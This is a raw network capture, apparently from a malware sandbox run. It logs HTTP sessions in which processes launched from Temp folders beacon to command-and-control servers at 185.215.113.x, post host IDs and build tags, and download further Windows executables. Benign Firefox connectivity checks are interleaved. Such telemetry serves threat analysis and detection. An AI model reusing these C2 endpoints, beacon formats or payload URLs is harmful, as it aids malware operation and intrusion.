Dec 9, 2024 21:09:55.904158115 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:56.394156933 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:56 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 21:09:58.711106062 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:59.201051950 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:58 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 21:10:01.281349897 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:10:01.765575886 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:10:01 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 21:10:03.969897985 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:10:04.461757898 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:10:04 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 21:10:06.486721039 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:10:06.978317022 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:10:06 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 21:10:09.001329899 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:10:09.490350008 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:10:09 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 9, 2024 21:10:11.551137924 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:10:12.037952900 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:10:11 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49965	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:46.946995020 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013513001&unit=246122658369
Dec 9, 2024 21:09:48.316210032 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49969	185.215.113.16	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:48.437544107 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 9, 2024 21:09:49.776118994 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:49 GMT Content-Type: application/octet-stream Content-Length: 2793472 Last-Modified: Mon, 09 Dec 2024 20:04:25 GMT Connection: keep-alive ETag: "67574d49-2aa000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 47 78 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+Gx+`Ui` @ @.rsrc`2@.idata 8@ixnajgom@>:@seyuqqyf x@.taggant@+"~*@
Dec 9, 2024 21:09:49.776176929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:49.776190996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:49.776397943 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:49.776416063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:49.776428938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:49.776439905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:49.776452065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:49.777093887 CET	1236	IN	Data Raw: 55 fd dc 26 8e 5a bc ac 4b 78 52 24 3e 6b f5 fb 82 5a b9 8c eb 87 2b ac 4b 78 52 96 3c 6f f5 ab 7e 5a df 2a 5c 2b 76 34 2d af d6 c3 1e 80 57 4a 3d 73 40 ad db 5a 6f 34 29 49 d9 7c e3 6c 8c 79 46 15 d3 2b 9e 84 53 04 5e 91 dd 01 7d 75 76 b0 ac 57 Data Ascii: U&ZKxR$>kZ+KxR<o~Z*\+v4-WJ=s@Zo4)I\|lyF+S^}uvWQl<$Xy.eeju3l\|~ .%`3Qf$F2\7GqJH!^]bgV@HLYPteHQY%jCYBjCF`H#Ie!M2IykX
Dec 9, 2024 21:09:49.777113914 CET	1236	IN	Data Raw: 14 6d bf 47 39 7f 20 35 d5 9f e0 5d b4 a0 5a 08 e5 a9 0a 3e cd 19 05 78 93 a8 e1 1c 56 37 12 ce 44 4d c7 bc 49 c5 1c d6 4d db a2 5c 67 cc f9 7e dc f9 13 f3 83 fc fa 7c 9c 58 68 65 56 a1 68 e2 9a 50 ce 72 56 e4 08 b9 fa 9b ea f9 73 db 13 2b 8a 50 Data Ascii: mG9 5]Z>xV7DMIM\g~\|XheVhPrVs+Pd'%NqqKayFgzQHKOwT:@jITF~E;CB`HAA~$/H?Q35d\Ne) G
Dec 9, 2024 21:09:49.895571947 CET	1236	IN	Data Raw: 8c e1 e7 c2 ce 81 8d 5a 92 c1 ed 47 81 61 32 29 6d 10 80 8e 7c 5d 38 45 8f ca f0 bc 9a a1 f6 8c 52 c8 20 36 b0 a5 a5 e9 65 ae 04 52 83 1a 52 e8 90 77 3d 0c a7 b4 1f f5 63 95 11 f2 d5 32 66 53 6e 24 9d ca ae 0e 9b 45 ce e5 07 0b 8e b9 71 40 a8 a5 Data Ascii: ZGa2)m\|]8ER 6eRRw=c2fSn$Eq@@hR\|TvLQ~jZMcrtp~T}x A-63{k`4ZHe"-P5a{)ZZ+l Vjau J:pS\a\p-uo+&`f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50000	185.215.113.16	80	5440	C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:55.633801937 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 9, 2024 21:09:56.981374979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:56 GMT Content-Type: application/octet-stream Content-Length: 2793472 Last-Modified: Mon, 09 Dec 2024 20:04:27 GMT Connection: keep-alive ETag: "67574d4b-2aa000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 47 78 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+Gx+`Ui` @ @.rsrc`2@.idata 8@ixnajgom@>:@seyuqqyf x@.taggant@+"~*@
Dec 9, 2024 21:09:56.981391907 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:56.984622955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:56.984713078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:56.984724045 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:56.987339020 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:56.987390041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:56.987400055 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:56.990658998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:56.990752935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:09:57.103193998 CET	1236	IN	Data Raw: 5c 38 19 5a 68 7a db 08 84 9a 45 60 a3 89 0d 45 3a ea e7 30 47 55 21 5e ba 8f c0 35 b4 9f 54 6b a9 64 ee 2b c7 84 01 88 80 7e 98 41 90 91 01 3b 47 6a d2 2f 55 fd dc 26 8e 5a bc ac 4b 78 52 24 3e 6b f5 fb 82 5a b9 8c eb 87 2b ac 4b 78 52 96 3c 6f Data Ascii: \8ZhzE`E:0GU!^5Tkd+~A;Gj/U&ZKxR$>kZ+KxR<o~Z*\+v4-WJ=s@Zo4)I\|lyF+S^}uvWQl<$Xy.eeju3l\|~ .%`3Qf$F2\7GqJH!^]bgV@HLYPteH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50003	34.107.221.82	80	1892	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:56.382740021 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 21:09:57.473535061 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 17:03:35 GMT Age: 11182 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 21:10:07.500797033 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50004	185.215.113.206	80	2952	C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:56.504596949 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 21:09:57.847779989 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 21:09:57.850558043 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 32 42 44 33 34 30 35 45 36 46 31 33 35 30 38 32 37 30 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="hwid"DC2BD3405E6F1350827015------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build"stok------IDBKKKKKFBGDGDHIDBGH--
Dec 9, 2024 21:09:58.295819044 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50008	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:57.228975058 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 33 35 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013514001&unit=246122658369
Dec 9, 2024 21:09:58.581356049 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50016	34.107.221.82	80	1892	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:09:58.237071991 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 21:09:59.323781967 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 02:26:01 GMT Age: 63838 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 21:10:09.409014940 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50026	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:10:00.399282932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 21:10:01.735090971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50035	185.215.113.43	80	5156	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:10:03.373497009 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 9, 2024 21:10:04.720464945 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	50044	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
